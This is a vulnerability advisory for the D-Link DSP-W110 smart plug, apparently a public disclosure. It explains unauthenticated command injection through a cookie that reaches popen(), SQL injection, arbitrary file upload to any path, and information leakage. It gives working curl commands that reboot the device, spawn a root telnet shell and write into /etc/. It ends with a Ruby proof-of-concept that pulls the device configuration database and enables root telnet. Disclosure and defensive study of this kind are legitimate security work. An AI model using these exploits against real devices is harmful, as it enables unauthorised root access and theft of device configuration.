>> D-Link DSP-W110 - multiple vulnerabilities

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Discovered by:
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Peter Adkins <peter.adkins@kernelpicnic.net>

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Access:
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Local network; unauthenticated access.

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Tracking and identifiers:
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CVE - None allocated.

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Platforms / Firmware confirmed affected:
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D-Link DSP-W110 (Rev A) - v1.05b01

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Notes:
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* There appears to be a number of references to both 'miiiCasa' as well as
'fitivision' throughout the firmware, which may indicate that these
vulnerabilities could be present in other devices not listed in this
document.

* A copy of this document, as well as the proof of concept below and a
more detailed write-up has been made available via GitHub:

 * https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110

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Arbitrary command execution / SQL Injection
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Patches made to lighttpd by the vendor exposes the device to both SQL
injection, and more interestingly, arbitrary code execution. This is due to
the improper sanitization of data supplied by a client.

As the lighttpd service provides endpoints to be accessed without
authentication, it provides a vector for an attacker to execute arbitrary
commands on the device as the root user via HTTP call without authentication
credentials.

The root cause of this issue is that the contents of an HTTP Cookie, with
any name, is passed verbatim to a sprintf() call in order to form an SQL
query used to validate existing client sessions. By simply performing an
HTTP request against the device with a correctly formatted cookie set,
arbitrary SQL can be executed against the internal SQLite database.

Further to this issue, as this SQL query is passed to a popen() call in
order to execute the query, arbitrary commands are also able to be run on
the device as the root user.

This said, due to the length of the allocated buffer, the value of the
cookie cannot exceed 19 characters. However, as below, 19 characters is
exactly enough to pop a shell on the device.

  # Reboot the device.
  curl 192.168.1.3/ \
   --cookie "terribleness='\`reboot\`"

  # Spawn a root shell (telnet)
  curl 192.168.1.3/ \
   --cookie "terribleness=\`telnetd -l/bin/sh\`"

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Arbitrary file upload
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Patches made to lighttpd by the vendor exposes the device to arbitrary file
upload attacks.

Unfortunately, the only 'filtering' on this resources appears to be a
sprintf() call which statically prefixes a submitted 'dev' argument with
'/www'. However, if a HTTP request is performed without a 'dev' argument
at all, the sprintf() call is never reached, and a fully-qualified path can
be provided in the 'path' parameter - bypassing the upload path restriction.

As a result of the above, this resource can be used to upload files to
any location on the filesystem of devices running vulnerable firmware
versions without authentication.

  # Upload arbitrary files to the device.
  echo 'Some String' > test.txt
  curl \
   -X POST \
   -i \
   -F name=@test.txt \
   --http1.0 \
   '192.168.1.3/web_cgi.cgi?&request=UploadFile&path=/etc/'

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Diagnostic Information
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Patches made to lighttpd by the vendor of this device allows an attacker to
query the device, without authentication, for the following information:

 * Current WLAN SSIDs
 * Current WLAN channels
 * LAN and WAN MAC addressing
 * Current firmware version information
 * Hardware version information

Although not sensitive information, it may allow for identification of
devices running vulnerable firmware versions.

  # Information query.
  curl \
   192.168.1.3/mplist.txt

----
Ruby PoC
----

# DSP-W110-Lighttpd PoC.

require 'pp'
require 'optparse'
require 'restclient'

# Set defaults and parse command line arguments
options = {}

options[:addr] = "192.168.0.60"
options[:port] = 80

OptionParser.new do |option|

  option.on("--address [ADDRESS]", "Destination hostname or IP") do |a|
    options[:addr] = a
  end

  option.on("--port [PORT]", "Destination TCP port") do |p|
    options[:port] = p
  end

  option.parse!

end

# Define which actions we will be using.
actions = [
  {
    :name => "Get device information",
    :call => "txt_parser",
    :path => "mplist.txt",
  },
  {
    :name => "Snatch configuration",
    :call => "noop",
    :path => "HNAP1",
    :cookies => { :cookie => "`cp /etc/co* /www/`" }
  },
  {
    :name => "Fetch configuration",
    :call => "conf_writer",
    :path => "config.sqlite",
  },
  {
    :name => "Enable telnet (root)",
    :call => "noop",
    :path => "HNAP1",
    :cookies => { :cookie => "`telnetd -l/bin/sh`" }
  }
]

def noop(val)
  return
end

def txt_parser(txt)
  txt.split(/\r?\n/).each do |line|
    puts "    #{line}"
  end
end

def conf_writer(txt)
  begin
    f = File.open('./config.sqlite', 'wb')
  rescue => e
    puts "[!] Failed to open config.sqlite for writing #{e.message}"
  end
  f.write(txt)
  f.close
  puts "[*] Configuration fetched into 'config.sqlite'"
end

# Iterate over all actions and attempt to execute.
url = "http://#{options[:addr]}:#{options[:port]}"

puts "[!] Attempting to extract information from #{url}"

actions.each do |action|

  # Fire the request and ensure a 200 OKAY.
  begin
    response = RestClient.get(
      "#{url}/#{action[:path]}",
      {:cookies => action[:cookies]}
    )
  rescue
    puts "[!] Failed to query remote host."
    abort
  end

  if response.code != 200
    puts "[-] '#{action[:name]}' failed with response: #{response.code}"
    next
  end

  # Send to the processor.
  puts "[*] #{action[:name]} request succeeded."
  send(action[:call], response.body())

end